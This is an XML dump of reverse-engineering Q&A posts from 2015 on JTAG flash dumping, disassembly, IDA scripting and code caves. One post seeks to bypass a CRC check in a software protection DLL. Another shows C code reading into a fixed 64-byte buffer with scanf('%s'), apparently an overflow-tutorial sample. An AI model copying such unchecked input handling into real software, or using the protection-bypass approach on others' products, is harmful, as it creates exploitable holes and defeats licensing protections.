  <row Id="9063" PostTypeId="1" CreationDate="2015-06-04T14:15:01.720" Score="1" ViewCount="333" Body="&lt;p&gt;I have a board that I'm reversing - and attempting to dump the image out of the NAND flash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Board has a SAMSUNG s3c2440 SOC CPU, and there's a SAMSUNG k9f1g08u0d 128 MB NAND flash device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a BusPirate through JTAG to connect. I am able to run OpenOCD and view the chip, dump registers, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the whole setup is unstable. I'm running on a Linux host PC. Steps are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;power up the target &lt;/li&gt;&#xA;&lt;li&gt;power up buspirate &lt;/li&gt;&#xA;&lt;li&gt;start openocd daemon&lt;/li&gt;&#xA;&lt;li&gt;start telnet into openocd daemon&lt;/li&gt;&#xA;&lt;li&gt;enable debug_level 3 &lt;/li&gt;&#xA;&lt;li&gt;just watch the debug messages flow on the openocd daemon window.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the flow of messages stops after 15 seconds or so with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error: 7399 146854 bus_pirate.c 1091 buspirate_serial_read() should have read = 15 actual size = 0 &#xA;Error: 7399 146854 bus_pirate.c 1091 buspirate_serial_read() Error treading data timeout = 10, len = 0, size = 15&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have a Buspirate 3, with the latest version 6.1 firmware.&#xA;Openocd is version 0.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to get a setup to be more stable is welcomed.&lt;/p&gt;&#xA;" OwnerUserId="12689" LastEditorUserId="53" LastEditDate="2015-06-04T16:13:25.680" LastActivityDate="2015-06-04T16:13:25.680" Title="OpenOCD, Buspirate JTAG reads fail after short time" Tags="|jtag|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9064" PostTypeId="2" ParentId="9061" CreationDate="2015-06-04T14:34:03.250" Score="3" Body="&lt;p&gt;The function prototype for &lt;code&gt;?EnsureCollectionCache@CFormElement@@QAEJXZ&lt;/code&gt; is the same before and after the patch. &lt;a href=&quot;http://www.agner.org/optimize/calling_conventions.pdf&quot; rel=&quot;nofollow&quot;&gt;It demangles to&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public: long int __thiscall CFormElement::EnsureCollectionCache(void)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the calling convention for the parent function, &lt;code&gt;?DoReset@CFromElement@@QAEJH@Z&lt;/code&gt;,  is the same before and after as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;public: long int __thiscall CFormElement::DoReset(int)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before and after the patch, the &lt;code&gt;CFormElement::DoReset&lt;/code&gt; function saves the value of its &lt;code&gt;int&lt;/code&gt; argument in register &lt;code&gt;ebx&lt;/code&gt;. Before the patch, this value is pushed onto the stack at EIP &lt;code&gt;639C2C58&lt;/code&gt; because other code in the function will likely make use of it later. After the patch, the &lt;code&gt;mov eax, ebx&lt;/code&gt; instruction is effectively a no-op since the call to &lt;code&gt;CFormElement::EnsureCollectionCache&lt;/code&gt; will overwrite &lt;code&gt;eax&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why the compiler made this change, it's difficult to say without seeing the rest of the function. Perhaps after the patch, the code in the rest of the function gets the value of the &lt;code&gt;int&lt;/code&gt; argument from the stack relative to &lt;code&gt;ebp&lt;/code&gt; as opposed to grabbing it from the top of the stack.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-04T14:34:03.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9067" PostTypeId="1" CreationDate="2015-06-05T01:11:54.373" Score="2" ViewCount="451" Body="&lt;p&gt;I have a bytestream that contains h.264 bytestream packets in it. How can I find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output from stream:&#xA;&lt;a href=&quot;https://mega.co.nz/#!3llAnLaQ!pc1JPDpDOP6948F2x44LqeYm-p5CDnb91Da334rt4fY&quot; rel=&quot;nofollow&quot;&gt;https://mega.co.nz/#!3llAnLaQ!pc1JPDpDOP6948F2x44LqeYm-p5CDnb91Da334rt4fY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 13 bytes don't have anything to do with the data, the next one always starts with 0x01, then 0x0000, then four unknown bytes, then 0x000000, the sequence number again, four more unknowns, and finally 0x00. This is being transmitted a UDP packet. The data seems to always be 1460 bytes long. The extra 0's at the end are an issue with my code and can be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a h.264 bytestream in there somewhere, I just don't know where/how to find it. It might be wrapped in a container or protocol or protobuf (unlikely but possible). Does anybody either see how to pick out the stream or recognize this as some known protocol? I can provide my code if needed but right now its a disgusting mess, more of a proof of concept.&lt;/p&gt;&#xA;" OwnerUserId="12697" LastActivityDate="2015-06-05T01:11:54.373" Title="Finding the h.264 stream in a bytestream" Tags="|file-format|encodings|protocol|binary-format|communication|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9068" PostTypeId="1" AcceptedAnswerId="9070" CreationDate="2015-06-05T07:59:52.107" Score="5" ViewCount="846" Body="&lt;p&gt;Here is the code of loop that I'm trying to understand the disassembly of it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include&amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;int main() {&#xA;   int i, arr[50], num;&#xA;&#xA;   printf(&quot;\nEnter no of elements :&quot;);&#xA;   cin &amp;gt;&amp;gt; num;&#xA;&#xA;   //Reading values into Array&#xA;   printf(&quot;\nEnter the values :&quot;);&#xA;   for (i = 0; i &amp;lt; num; i++)&#xA;    cin &amp;gt;&amp;gt; arr[i];&#xA;&#xA;   return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this is the disassembly:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4JQnv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you explain me the highlighted part? what is &lt;code&gt;Var_D8&lt;/code&gt; is used for? Why compiler shifted left the &lt;code&gt;edx&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="12671" LastActivityDate="2015-06-05T14:15:40.293" Title="Understanding the loop disassembly" Tags="|disassembly|binary-analysis|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9069" PostTypeId="2" ParentId="9068" CreationDate="2015-06-05T09:10:55.217" Score="5" Body="&lt;p&gt;The &lt;code&gt;var_d8&lt;/code&gt; is the base position of &lt;code&gt;arr&lt;/code&gt; in the stack, the size of type &lt;code&gt;int&lt;/code&gt; in your machine is &lt;code&gt;4&lt;/code&gt;, so the position of &lt;code&gt;arr[i]&lt;/code&gt; in the stack is calculated by: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;var_d8 + 4 * i&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2015-06-05T09:10:55.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9070" PostTypeId="2" ParentId="9068" CreationDate="2015-06-05T09:19:28.783" Score="8" Body="&lt;p&gt;&lt;code&gt;var_D8&lt;/code&gt; is your &lt;code&gt;int arr[50]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can recognize it quickly solely by its name : 50 * sizeof(int) = 200 = 0xC8. The next variable on the stack is &lt;code&gt;numb_of_elements&lt;/code&gt; which is positionned on -0x10 on the stack, thus we have some memory between -0xD8 and -0x10 that corresponds to the &lt;code&gt;int&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some explanations about the following instructions :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea eax, [ebp+var_D8]  ; Get the address of the first element of the array.&#xA;mov edx, [ebp+Counter] ; Get the current element index.&#xA;shl edx, 2             ; Since the size of each element of the array is 4, multiply the index by 4&#xA;add eax, edx           ; &amp;amp;arr[i] = The address of the current element&#xA;mov [esp], eax         ; Move it on the stack so it can be written by std::cin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2015-06-05T14:15:40.293" LastActivityDate="2015-06-05T14:15:40.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9071" PostTypeId="1" AcceptedAnswerId="9072" CreationDate="2015-06-05T19:46:45.327" Score="-3" ViewCount="652" Body="&lt;p&gt;I have a binary file which is potentially a virus and I wish to look into its internals. I need to be cautious as I don't want it to run on my system. That's why I ruled out gdb.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've searched and skimmed various sites on decompilers but, I haven't been able to figure out the internals. Does the decompiler actually &lt;em&gt;execute&lt;/em&gt; the code in someway? (again, I don't want the file to run on my system in any way).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a VM is not an option as I have a low-RAM system. What are the risks of running a decompiler to analyze a potentially malicious executable.&lt;/p&gt;&#xA;" OwnerUserId="12703" LastEditorUserId="36" LastEditDate="2015-06-06T14:58:48.183" LastActivityDate="2015-06-06T14:58:48.183" Title="What are the risks of running a decompiler?" Tags="|decompilation|decompile|decompiler|malware|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2015-06-06T10:29:07.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="9072" PostTypeId="2" ParentId="9071" CreationDate="2015-06-06T00:32:25.517" Score="2" Body="&lt;h2&gt;Static analysis doesn't execute the code.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can safely run a decompiler or dissembler against the binary and it will analyze without executing the code. Static analysis by itself can be difficult if the binary is obfuscated and packed. There is a risk where the file could exploit a vulnerability in the program doing the analysis, but this is fairly uncommon, though you should still keep you systems up to date and run as an unprivileged user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some disassemblers you could try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;objdump&lt;/code&gt;. You can use the &lt;code&gt;objdump&lt;/code&gt; disassembler to dump the disassembly of the binary. The command &lt;code&gt;objdump -D yourbin&lt;/code&gt; will disassemble all sections.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;IDA Pro&lt;/code&gt;. You can grab a free trial of IDA Pro from their website. &lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Hopper&lt;/code&gt;. Hopper also has a free trial you can use. Its cost is much cheaper than IDA Pro if you do decide to purchase.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.backerstreet.com/decompiler/decompilers.htm&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; lists some decompilers you could try. I haven't tried any of them (except for IDA Decompiler, which is expensive), so I can't vouche for how well they work.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2015-06-06T00:32:25.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9076" PostTypeId="1" AcceptedAnswerId="9077" CreationDate="2015-06-07T00:26:27.630" Score="0" ViewCount="4921" Body="&lt;p&gt;I'm trying to extract a float value at the current linear address in the IDC script, but I can't figure out how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:004F8360 flt_4F8360      dd 0.69999999           ; DATA XREF: sub_4071E0+68r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to print this float value in the console message like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Value: 0.69999999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried (unsuccessfully):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Dword(ea)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message(&quot;Value: %f&quot;, Dword(ea));&#xA;&#xA;Value: 1.060320051e9&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;GetManyBytes(ea, 4, 0)&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Message(&quot;Value: %f&quot;, GetManyBytes(ea, 4, 0));&#xA;&#xA;Value: 3.33e2&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So how does one achieves this?&lt;/p&gt;&#xA;" OwnerUserId="12393" LastActivityDate="2024-01-30T11:00:47.130" Title="How to get value at the current linear address in the IDC script?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9077" PostTypeId="2" ParentId="9076" CreationDate="2015-06-07T01:12:31.653" Score="4" Body="&lt;p&gt;By looking at the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://hex-rays.com/products/ida/support/idapython_docs/idc.html#idc.GetFloat&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;GetFloat&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="4731" LastEditDate="2024-01-30T11:00:47.130" LastActivityDate="2024-01-30T11:00:47.130" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="9078" PostTypeId="1" AcceptedAnswerId="9080" CreationDate="2015-06-07T07:50:21.750" Score="2" ViewCount="2565" Body="&lt;p&gt;When I used CheatEngine (I know, I know...) it had this option that let you create code caves, meaning you could replace any instruction with a JMP to a new section, which contained the old instruction followed by your new code, and then JMP'd back to original place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to do the same with Ida, in a way that lets me save my changes to executable. Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;I tried adding new section manually in the segments window, but saving the executable with &quot;apply changes to input file&quot; doesn't change anything, nor does saving a &quot;DIF&quot; file.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2015-06-07T21:33:43.483" Title="Adding new code with Ida" Tags="|ida|windows|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9079" PostTypeId="1" AcceptedAnswerId="9087" CreationDate="2015-06-07T12:15:59.243" Score="3" ViewCount="746" Body="&lt;p&gt;Lets assume this function frame :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/enFNM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to calculate and check  if subtracted stack space by line 3 is &lt;code&gt;58h&lt;/code&gt; ?: &lt;code&gt;sub esp, 58h&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the code, the compiler is also Dev C++:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;char *the_good_one = &quot;gb_master&quot;;&#xA;&#xA;void cookie()&#xA;{&#xA;    printf(&quot;Get a cookie!\n&quot;);&#xA;}&#xA;&#xA;char check_password()&#xA;{&#xA;    char password[64];&#xA;&#xA;    printf(&quot;Enter password: &quot;);&#xA;    scanf(&quot;%s&quot;, password);&#xA;&#xA;    return (!strcmp(password, the_good_one));&#xA;}&#xA;&#xA;int main(void)&#xA;{&#xA;    if(check_password())&#xA;    {&#xA;        printf(&quot;GOOOOOOOOOOD!\n&quot;);&#xA;        cookie();&#xA;    }&#xA;    else&#xA;    {&#xA;        printf(&quot;Wrong password\n&quot;);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;check_password()&lt;/code&gt; function disassembly added : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kCSgz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12671" LastEditorUserId="53" LastEditDate="2015-06-08T08:39:54.187" LastActivityDate="2015-06-08T08:39:54.187" Title="Computing subtracted stack space for a function manually" Tags="|assembly|binary-analysis|static-analysis|binary|stack|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9080" PostTypeId="2" ParentId="9078" CreationDate="2015-06-07T12:36:55.823" Score="5" Body="&lt;p&gt;As ExtremeCoders said, IDA is basically used as an analysis tool, and there are many other tools to do so like OllyDBG or x64_dbg ... still, it's not that limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't tried to do so, but try to get the cave code address using PEiD (or any other PE tool that'll do), then use Fentanyl plugin to make changes and IDAPatcher plugin to save them easily.&lt;/p&gt;&#xA;" OwnerUserId="11757" LastEditorUserId="11757" LastEditDate="2015-06-07T13:05:11.653" LastActivityDate="2015-06-07T13:05:11.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9081" PostTypeId="1" CreationDate="2015-06-07T13:26:31.633" Score="2" ViewCount="1957" Body="&lt;p&gt;I encountered a problem while trying to debug an application that raises an exception to stop the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add an exception range, such as (00000000 - FFFFFFFF), in IDA as in Olly ?&lt;/p&gt;&#xA;" OwnerUserId="11757" LastEditorUserId="11757" LastEditDate="2015-06-07T15:33:33.147" LastActivityDate="2015-06-07T16:30:02.157" Title="Adding exception range to IDA" Tags="|ida|unpacking|exception|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9082" PostTypeId="2" ParentId="9081" CreationDate="2015-06-07T16:30:02.157" Score="3" Body="&lt;p&gt;As I know you can handle exceptions from Debugger-&gt;Debugger Options and you can add or edit exceptions there, but there's no such option in IDA, in protected programs there are a lot anti debug tricks, you can use IDAStealth or such plugins to hide debugger sometimes these methods are the reason to exceptions&lt;/p&gt;&#xA;" OwnerUserId="12714" LastActivityDate="2015-06-07T16:30:02.157" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9083" PostTypeId="1" CreationDate="2015-06-07T18:29:19.313" Score="1" ViewCount="2575" Body="&lt;p&gt;I am trying to reverse a software which loads its own dll-file filled with protection stuff. I was able to successfuly locate the functions of interest. Then I patched the first function and test the software. It worked. Then I patched the second function and try to run the software, but this time it got jammed. I noticed in the OLLYDBG log note &quot;crc changed, discarding .udd data&quot; after this dll was loaded. PEid v0.94 Krypto Analyzer pluging reports CRC32 with some references. Speaking in short: How can I find where this CRC is checked so I can patch it ? &lt;/p&gt;&#xA;" OwnerUserId="12715" LastActivityDate="2015-06-08T19:46:27.473" Title="Bypassing CRC check" Tags="|crc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9084" PostTypeId="2" ParentId="9083" CreationDate="2015-06-07T18:40:15.947" Score="7" Body="&lt;p&gt;The message &lt;code&gt;&quot;crc changed, discarding .udd data&quot;&lt;/code&gt; is from OllyDbg itself, not from your target application.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-07T18:40:15.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9085" PostTypeId="1" AcceptedAnswerId="9086" CreationDate="2015-06-07T20:45:13.247" Score="1" ViewCount="659" Body="&lt;p&gt;I have the following 2 ARM instructions in a basic block which is part of a function that I'm trying to convert to C.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADDS r4, r2, r7&#xA;ADC  r5, r3, r7, ASR#31&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From my understanding, the first instruction does a &lt;code&gt;r4 = r2+r7&lt;/code&gt; and sets the flags. The next instruction does &lt;code&gt;r5 = r3 + (r7&amp;gt;&amp;gt;31) + &amp;lt;carryflag&amp;gt;&lt;/code&gt;. How would the instructions look in C?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-06-07T21:01:24.180" Title="ADC in ARM : What is the corresponding C?" Tags="|arm|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9086" PostTypeId="2" ParentId="9085" CreationDate="2015-06-07T21:01:24.180" Score="2" Body="&lt;p&gt;There is no single C instruction that matches the assembly code directly. What's happening is the 32 bit value in r7 gets added to the 64 bit value in r2/r3, with the result written to r4/r5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can verify this in a few different cases:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;No overflow in the first instruction, positive number (bit 31 is zero) in &lt;code&gt;r7&lt;/code&gt;. This means the &lt;code&gt;ADC&lt;/code&gt; has nothing to add, and just copies &lt;code&gt;r3&lt;/code&gt; to &lt;code&gt;r5&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;First instruction produces overflow, but &lt;code&gt;r7&lt;/code&gt; is positive anyway. The &lt;code&gt;ADC&lt;/code&gt; adds one (from the carry flag) to account for the overflow.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;r7&lt;/code&gt; is negative (bit 31 is 1). The &lt;code&gt;ASR&lt;/code&gt; instruction produces a &lt;code&gt;-1&lt;/code&gt; (all bits set), since it does an &lt;em&gt;arithmetic&lt;/em&gt; shift, not a logical shift. This effectively subtracts 1 from &lt;code&gt;r3&lt;/code&gt; in the second instruction.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the original C code probably looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__int64__ r23;&#xA;__int32__ r7;&#xA;__int64__ r45;&#xA;r45=r23+r7;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As i said, the asm code doesn't really match the C code, since C doesn't have any syntax for type extension. (You could use casts in your C, but that wouldn't really make anything clearer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one of the reasons why there is more to reverse engineering that just creating C from assembly; you have to have an understanding on assembly, registers, processor quirks, and compiler shortcuts, to understand what's going on in these cases.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-07T21:01:24.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9087" PostTypeId="2" ParentId="9079" CreationDate="2015-06-07T21:24:15.827" Score="6" Body="&lt;p&gt;Older compilers made space for function parameters on the stack by pushing them, and popping from the stack after the function call; newer compilers optimize this. For example, while a function gets executed, the stack changed like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; start        calling       after         before scanf   after scanf &#xA;              printf        printf                                   &#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|return addr| |return addr| |return addr| |return addr| |return addr|&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|           | |           | |           | |           | |           |&#xA;| local     | | local     | | local     | | local     | | local     |&#xA;| variables | | variables | | variables | | variables | | variables |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;              | &quot;Enter..&quot; |               | password  |              &#xA;              +-----------+               +-----------+              &#xA;                                          | &quot;%s&quot;      |              &#xA;                                          +-----------+              &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see how &lt;code&gt;sp&lt;/code&gt; (the bottom of the stack) changes with every function call.&#xA;Newer versions of &lt;code&gt;gcc&lt;/code&gt; change this; they make enough space on the stack (for local variables and all possible function parameters) from the beginning, and just move the parameters to addresses relative to the stack pointer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; start        calling       after         before scanf   after scanf &#xA;              printf        printf                                   &#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|return addr| |return addr| |return addr| |return addr| |return addr|&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|           | |           | |           | |           | |           |&#xA;| local     | | local     | | local     | | local     | | local     |&#xA;| variables | | variables | | variables | | variables | | variables |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;|           | |           | |           | |           | |           |&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|           | |           | |           | | password  | |           |&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;|           | | &quot;Enter..&quot; | |           | | &quot;%s&quot;      | |           |&#xA;+-----------+ +-----------+ +-----------+ +-----------+ +-----------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how, from the beginning, the stack has the size it needs for the 4th step (before scanf), and how the &quot;Enter..&quot; string is moved directly to where the stack pointer is (so it's the first parameter on the stack), not to the space directly below local variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to calculate the stack size from the source code, you need to know&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how many bytes your return frame needs&lt;/li&gt;&#xA;&lt;li&gt;how many bytes to reserve for the stack canary, if any&lt;/li&gt;&#xA;&lt;li&gt;how many bytes local variables need&lt;/li&gt;&#xA;&lt;li&gt;how many bytes to reserve for function arguments; this may include special treatment for structures, or doubles, that don't follow standard conventions&lt;/li&gt;&#xA;&lt;li&gt;how many bytes to subtract from the function arguments because they're passed in registers, this applies to 64 bit code especially.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This might change per compiler version as well. It seems that your compiler reserved 8 bytes for stack frame/canary; 64 (0x40) bytes for the password array, and another 16 bytes for function parameters, where 8 would have been sufficient (maybe for alignment reasons)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wouldn't rely on any formula for the number of bytes needed; instead, check with the specific compiler i'm using, and prepare for this number to change whenever a different compiler gets used.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-07T21:24:15.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9088" PostTypeId="2" ParentId="9078" CreationDate="2015-06-07T21:33:43.483" Score="1" Body="&lt;p&gt;I've done something like this with an ARM android application recently; however, IDA doesn't assemble ARM, and translating ARM code to binary manually isn't a fun task. I found the address of a suitable code cave in IDA first, wrote an assembly file beginning with &lt;code&gt;.org code_cave_address&lt;/code&gt; (and another &lt;code&gt;.org&lt;/code&gt; and a branch instruction at where i wanted to jump to my code cave) , used the arm version of gnu as to assemble it, then used objdump to find the assembled code, and finally used IDAPatcher to copy the hex code into my IDA database and patch the original shared library. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not the most straightforward way, but something that will work with every kind of processor, even if IDA doesn't support assembling for it.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-07T21:33:43.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9089" PostTypeId="1" AcceptedAnswerId="9091" CreationDate="2015-06-08T00:55:13.527" Score="1" ViewCount="580" Body="&lt;p&gt;I have disassembled a MIPS library in the online Retargetable Disassembler, but I don't really understand the code I got (I'm new to reverse engineering). Would it be possible for me to either recompile the code so I can call it, or use the library directly to call the code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume the latter would only be possible if I'm running on MIPS. How else could I proceed with reverse engineering this code?&lt;/p&gt;&#xA;" OwnerUserId="12717" LastActivityDate="2015-06-08T10:19:40.363" Title="Calling a function in a MIPS library" Tags="|mips|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9090" PostTypeId="2" ParentId="9089" CreationDate="2015-06-08T08:37:33.173" Score="0" Body="&lt;p&gt;Reverse-engineering a binary only code is done through tools (disassemblers, debuggers, decompilers...) and through a certain amount of knowledge of the assembly langage that you are looking at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way to reverse-engineer a piece of binary code is to go through it and try to understand it. If you have no prior knowledge of MIPS assembler, then get some. If you know nothing about disassemblers, debbugers and decompilers, learn some about it.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2015-06-08T08:37:33.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
